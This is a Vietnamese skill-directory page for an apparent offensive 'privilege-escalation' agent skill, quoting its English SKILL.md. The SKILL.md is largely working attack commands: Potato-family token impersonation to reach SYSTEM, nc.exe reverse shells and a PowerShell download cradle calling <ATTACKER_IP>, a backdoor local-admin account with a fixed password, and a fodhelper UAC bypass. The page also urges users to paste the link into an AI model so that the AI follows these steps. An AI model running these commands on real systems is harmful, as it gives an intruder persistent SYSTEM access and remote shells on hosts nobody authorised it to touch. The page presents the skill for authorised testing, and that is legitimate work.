Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14138

privilege-escalation

Skill này làm gì

Cơ sở kiến thức này bao quát cách một tài khoản có quyền thấp có thể đạt quyền cao hơn trên hệ thống Windows và Linux. Dành cho người phòng thủ và người kiểm thử được ủy quyền rà soát cài đặt đặc quyền.

Khi nào nên dùng

  • ✓Khi một bài kiểm tra được ủy quyền bắt đầu từ một tài khoản có quyền thấp và cần tìm đường đến quyền admin.
  • ✓Khi một nhóm rà soát các tài khoản dịch vụ Windows có quyền mạo danh.
  • ✓Khi một nhóm Linux muốn kiểm tra sudo, file quyền đặc biệt và phiên bản kernel.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Chúng tôi có một tài khoản quyền thấp trên một trong các máy chủ Windows. Bạn có thể kiểm tra xem nó có thể đạt quyền admin không, trong phạm vi kiểm thử của chúng tôi?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent trước hết chạy liệt kê các cài đặt đặc quyền, rồi kiểm tra những đường đi có khả năng nhất như quyền dịch vụ và quyền mạo danh, và báo cáo những đường cần sửa.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Privilege Escalation Knowledge Base

Privilege escalation raises access from a low-privilege foothold to SYSTEM/root or administrative context. Windows and Linux have fundamentally different escalation paths. Always enumerate before exploiting — automated tools identify the fastest route.

Quick Reference

# Windows — GodPotato (service account → SYSTEM)
GodPotato.exe -cmd "cmd /c whoami > C:\Windows\Temp\proof.txt"

# Windows — PrintSpoofer (service account → SYSTEM)
PrintSpoofer.exe -i -c cmd

# Windows — winPEAS automated enumeration
winPEASx64.exe servicesinfo applicationsinfo > C:\Windows\Temp\winpeas.txt

# Linux — linPEAS automated enumeration
./linpeas.sh -a | tee linpeas_<TARGET>.txt

# Linux — find SUID binaries
find / -perm -4000 -type f 2>/dev/null | tee suid_<TARGET>.txt

# Linux — check sudo privileges
sudo -l

MITRE ATT&CK Mapping

Technique ID Name Tools
T1134.001 Token Impersonation/Theft GodPotato, PrintSpoofer, SigmaPotato
T1548.002 Bypass UAC fodhelper.exe, eventvwr.exe, CMSTPLUA COM
T1574.001 DLL Search Order Hijacking Custom DLL placement
T1068 Exploitation for Privilege Escalation Kernel exploits, linux-exploit-suggester
T1053.003 Scheduled Task/Cron Writable cron scripts, PATH injection

1. Windows Token Impersonation — Potato Family

GodPotato (Most Versatile)

# Execute command as SYSTEM (DCOM-based token impersonation)
GodPotato.exe -cmd "cmd /c whoami"

# Reverse shell as SYSTEM
GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"

# Add local admin user
GodPotato.exe -cmd "net user backdoor P@ssw0rd123 /add && net localgroup administrators backdoor /add"

# Execute PowerShell payload
GodPotato.exe -cmd "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/shell.ps1')"

GodPotato Details:

  • Works on Windows 8 through 11, Server 2012 through 2022
  • Exploits DCOM (Distributed COM) OXID resolver
  • Requires: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
  • Common contexts: IIS AppPool, SQL Server, service accounts

PrintSpoofer (Print Spooler Named Pipe)

# Interactive SYSTEM shell
PrintSpoofer.exe -i -c cmd

# Execute specific command as SYSTEM
PrintSpoofer.exe -c "cmd /c whoami > C:\Windows\Temp\proof.txt"

# Reverse shell
PrintSpoofer.exe -c "C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"

# With PowerShell
PrintSpoofer.exe -i -c powershell.exe

PrintSpoofer Details:

  • Works on Windows 10, Server 2016 and 2019
  • Exploits Print Spooler service named pipe impersonation
  • Requires: SeImpersonatePrivilege
  • May fail if Print Spooler service is disabled (hardened environments)

SigmaPotato (Extended GodPotato Fork)

# Standard SYSTEM execution
SigmaPotato.exe --revshell -l <ATTACKER_IP> -p 4444

# Execute arbitrary command
SigmaPotato.exe "cmd /c whoami"

# Uses .NET reflection for in-memory execution
SigmaPotato.exe "powershell -ep bypass -c Get-Process"

SigmaPotato Details:

  • Extended OS support beyond GodPotato
  • Uses .NET reflection for flexibility
  • Same prerequisites: SeImpersonatePrivilege

Choosing the Right Potato

Tool OS Range Method Best For
GodPotato Win 8-11, 2012-2022 DCOM OXID Default choice, widest support
PrintSpoofer Win 10, 2016-2019 Print Spooler pipe When Spooler is running
SigmaPotato Extended range DCOM + .NET reflection GodPotato alternative
JuicyPotato Win 7-10, 2008-2016 DCOM BITS Legacy systems only
RoguePotato Win 10 1809+, 2019 OXID + RPC When OXID resolver patched

Check Prerequisites

# Verify you have impersonation privileges
whoami /priv
# Look for: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege

# Common service accounts with SeImpersonatePrivilege:
# - IIS AppPool\DefaultAppPool
# - NT Service\MSSQLSERVER
# - Local Service / Network Service (some configs)

2. UAC Bypass Techniques

fodhelper.exe Bypass

# Set registry key to execute payload when fodhelper runs
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Windows\Temp\payload.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f

# Trigger UAC bypass
fodhelper.exe

# Cleanup
reg delete HKCU\Software\Classes\ms-settings /f

Câu hỏi thường gặp

Vì sao phải liệt kê trước?

Hướng dẫn nói các kiểm tra tự động cho thấy đường đi nhanh nhất, nên người kiểm thử không phải đoán.

Mạo danh token là gì?

Đó là khi một tài khoản dịch vụ có thể nhận quyền của phiên đăng nhập khác, và hướng dẫn coi đây là rủi ro phổ biến.

Người phòng thủ giảm rủi ro thế nào?

Hạn chế quyền mạo danh, vá hệ thống và gỡ các quyền đặc biệt không cần thiết.

Chi tiết

Mô tả gốc của tác giả

Host privilege escalation — Windows token impersonation, UAC bypass, service abuse, DLL hijacking, Linux SUID/sudo/kernel exploits, automated enumeration.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14138
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự